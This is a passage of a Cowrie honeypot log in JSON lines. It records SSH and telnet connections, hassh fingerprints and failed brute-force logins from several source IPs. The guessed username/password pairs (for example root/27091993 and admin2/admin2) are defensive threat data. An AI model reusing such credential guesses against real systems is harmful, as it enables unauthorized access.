p256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:33.639185Z","src_ip":"91.92.40.171","session":"d2acf1783b25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"admin2","message":"login attempt [admin2/admin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:33.961649Z","src_ip":"91.92.40.171","session":"d2acf1783b25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":40268,"dst_ip":"159.203.135.109","dst_port":22,"session":"5757067e77f4","protocol":"ssh","message":"New connection: 94.159.110.201:40268 (159.203.135.109:22) [session: 5757067e77f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:35.059456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:35.062832Z","src_ip":"94.159.110.201","session":"5757067e77f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:35.172864Z","src_ip":"94.159.110.201","session":"5757067e77f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:35.264758Z","src_ip":"91.92.40.171","session":"d2acf1783b25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"27091993","message":"login attempt [root/27091993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:35.503721Z","src_ip":"94.159.110.201","session":"5757067e77f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:36.616982Z","src_ip":"94.159.110.201","session":"5757067e77f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":34712,"dst_ip":"159.203.135.109","dst_port":22,"session":"60ef976254d8","protocol":"ssh","message":"New connection: 91.92.42.133:34712 (159.203.135.109:22) [session: 60ef976254d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:36.917070Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:37.095520Z","src_ip":"91.92.42.133","session":"60ef976254d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:37.103288Z","src_ip":"91.92.42.133","session":"60ef976254d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gateway","password":"gateway","message":"login attempt [gateway/gateway] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:37.544504Z","src_ip":"91.92.42.133","session":"60ef976254d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:38.691988Z","src_ip":"91.92.42.133","session":"60ef976254d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":34158,"dst_ip":"159.203.135.109","dst_port":22,"session":"df8a20f6a51c","protocol":"ssh","message":"New connection: 91.92.40.171:34158 (159.203.135.109:22) [session: df8a20f6a51c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:41.471570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:41.511631Z","src_ip":"91.92.40.171","session":"df8a20f6a51c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:42.712581Z","src_ip":"91.92.40.171","session":"df8a20f6a51c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":59372,"dst_ip":"159.203.135.109","dst_port":22,"session":"719db4b561a8","protocol":"ssh","message":"New connection: 91.92.42.133:59372 (159.203.135.109:22) [session: 719db4b561a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:45.049655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:45.055341Z","src_ip":"91.92.42.133","session":"719db4b561a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:45.156728Z","src_ip":"91.92.42.133","session":"719db4b561a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":55990,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b2148d516e9","protocol":"ssh","message":"New connection: 91.92.40.171:55990 (159.203.135.109:22) [session: 9b2148d516e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:45.325429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:45.406576Z","src_ip":"91.92.40.171","session":"9b2148d516e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:45.474490Z","src_ip":"91.92.40.171","session":"9b2148d516e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"teste","message":"login attempt [teste/teste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:45.511176Z","src_ip":"91.92.42.133","session":"719db4b561a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123","message":"login attempt [minecraft/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:45.954859Z","src_ip":"91.92.40.171","session":"9b2148d516e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"milad","password":"milad123","message":"login attempt [milad/milad123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:46.657154Z","src_ip":"91.92.40.171","session":"df8a20f6a51c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:47.051859Z","src_ip":"91.92.42.133","session":"719db4b561a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:47.182603Z","src_ip":"91.92.40.171","session":"9b2148d516e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:49.064959Z","src_ip":"91.92.40.171","session":"df8a20f6a51c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44924,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ac56cc1be48","protocol":"telnet","message":"New connection: 128.199.8.54:44924 (159.203.135.109:23) [session: 1ac56cc1be48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:51.595468Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":56080,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6c58b9a9b25","protocol":"ssh","message":"New connection: 91.92.40.171:56080 (159.203.135.109:22) [session: f6c58b9a9b25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:52.135606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:52.279335Z","src_ip":"91.92.40.171","session":"f6c58b9a9b25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":59440,"dst_ip":"159.203.135.109","dst_port":22,"session":"81eae9fda60f","protocol":"ssh","message":"New connection: 91.92.42.133:59440 (159.203.135.109:22) [session: 81eae9fda60f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:52.708359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:52.740483Z","src_ip":"91.92.42.133","session":"81eae9fda60f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:52.828384Z","src_ip":"91.92.42.133","session":"81eae9fda60f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:52.873217Z","src_ip":"91.92.40.171","session":"f6c58b9a9b25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":35764,"dst_ip":"10.17.0.5","dst_port":22,"session":"daf3cbc1d2bb","protocol":"ssh","message":"New connection: 62.133.62.83:35764 (10.17.0.5:22) [session: daf3cbc1d2bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:53.115579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:53.119720Z","src_ip":"62.133.62.83","session":"daf3cbc1d2bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:53.199988Z","src_ip":"62.133.62.83","session":"daf3cbc1d2bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elaman","message":"login attempt [root/elaman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:53.437588Z","src_ip":"62.133.62.83","session":"daf3cbc1d2bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"redhat","message":"login attempt [student/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:53.441549Z","src_ip":"91.92.42.133","session":"81eae9fda60f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:54.518372Z","src_ip":"62.133.62.83","session":"daf3cbc1d2bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:54.661552Z","src_ip":"91.92.42.133","session":"81eae9fda60f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":53272,"dst_ip":"159.203.135.109","dst_port":22,"session":"a69cf416ee7b","protocol":"ssh","message":"New connection: 91.92.40.171:53272 (159.203.135.109:22) [session: a69cf416ee7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:58.657618Z"}
